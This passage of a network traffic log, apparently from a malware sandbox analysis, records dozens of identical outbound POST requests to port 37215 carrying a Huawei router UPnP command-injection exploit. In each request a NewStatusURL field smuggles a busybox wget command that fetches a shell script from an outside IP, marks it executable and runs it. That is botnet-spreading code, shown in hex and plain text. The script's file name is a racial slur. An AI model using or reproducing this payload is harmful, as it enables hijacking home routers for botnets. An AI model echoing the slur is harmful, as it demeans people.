29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.23	43462	94.121.212.234	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:47.321944952 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.23	49544	94.121.96.68	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:47.322021961 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.23	55066	94.123.46.227	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:47.322103977 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.23	39206	94.121.19.230	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:47.322184086 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:48.457457066 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:49.801240921 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:52.488902092 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:57.864167929 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:08.614722967 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 